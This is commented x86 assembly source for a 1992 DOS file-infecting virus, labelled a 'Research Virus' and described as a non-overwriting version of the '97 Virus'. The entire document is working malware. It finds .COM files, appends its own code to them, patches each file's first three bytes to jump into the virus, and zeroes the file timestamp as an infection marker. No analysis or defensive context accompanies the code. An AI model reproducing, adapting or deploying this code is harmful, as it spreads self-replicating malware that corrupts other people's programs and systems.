;***************************************************************************
;* *
;* 196 - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written By : F.Deakin (ACE COMPUTER SYSTEMS) *
;* *
;* Non-Overwriting Version of 97 Virus *
;* *
;***************************************************************************
CODE Segment
Assume CS:CODE
progr equ 100h
org progr
virus_size EQU vir_end-vir_start
variable_diff EQU variables_start-next_byte
highlander:
call vir_start ;call virus
mov ah,4ch ;return to operating system
int 21h ;thru' dos interrupt 21h
vir_start:
call next_byte ;call next address
next_byte:
pop ax ;get virus address
pop di ;get program start address
push ax ;save virus address
pop si ;get address of next_byte
mov ax,variable_diff ;add difference
add si,ax ;get variables address
mov ax,3 ;move to old address
sub di,ax ;start of .com file
add si,ax ;point to old code
mov ax,[si] ;get two bytes from old code
mov [di],ax ;and place at start of file
inc si ;increment to third byte
inc si ;
inc di ;increment to third address to save
inc di ;
mov al,[si] ;get last byte of old code
mov [di],al ;and place at start of .COM file
mov ax,5 ;five bytes out
sub si,ax ;back to start of variables
mov di,si ;which is copied to destination
mov ax,6 ;add 6 to variables address
add di,ax ;and save file control block
;search for first
mov ah,4eh ;search for first
xor cx,cx ;attributes to search
mov dx,di ;point to fcb
int 21h ;call dos
jc return_to_prog ;if no file found return to program
found_one:
mov ah,2fh ;get DTA address into es:bx
int 21h ;call dos
mov ax,22 ;jump over to time
add bx,ax ;and point to it
mov al,es:[bx] ;and place in ax
and al,00000111b ;get seconds only
cmp al,00h ;zero seconds?
jnz infect_program ;if not infect program
mov ah,4fh ;find next file
int 21h ;call dos
jmp short found_one ;jump back
infect_program:
mov ax,8 ;jump to asciiz fcb
add ax,bx ;add to bx
mov dx,ax ;and move to dx
mov ax,3d02h ;open file for writing
int 21h ;call dos
jnc continue ;continue if no error
mov ah,4fh ;search for next
xor cx,cx ;attributes to search
int 21h ;call dos
jc return_to_prog ;if no file found return to program
jmp short found_one ;jump forward if one found
continue:
mov bx,ax ;transfer file handle to bx
;read first three bytes
mov ah,3fh ;read file
mov cx,3 ;number of bytes to read
mov dx,3 ;three bytes to old_code
add dx,si ;point to buffer to read
int 21h ;call dos
mov ax,4202h ;move file pointer to end of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
dec ax ;decrement ax
dec ax ;
dec ax ;
dec si ;save address
mov word [si],ax ;and store
mov ah,40h ;write to file
mov cx,virus_size ;set counter to write
mov dx,offset vir_start ;point to buffer to start
int 21h ;and write to file
mov ax,4200h ;move file pointer to start of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
mov ah,40h ;write to file
mov cx,3 ;set counter to write
inc si ;point to jump address
mov dx,si ;point to buffer to start
int 21h ;and write to file
mov ax,5701h ;set date & time
xor cx,cx ;time set to zero
xor dx,dx ;and date
int 21h ;and do it
mov ah,3eh ;close file
int 21h ;thru' dos
return_to_prog:
mov ah,4ch ;terminate program
int 21h ;exit to dos
variables_start:
jump_add:
db 0e8h,0,0
old_code:
db 90h,90h,90h
fcb:
db "*.COM",0
variables_end:
vir_end:
CODE ENDS
END highlander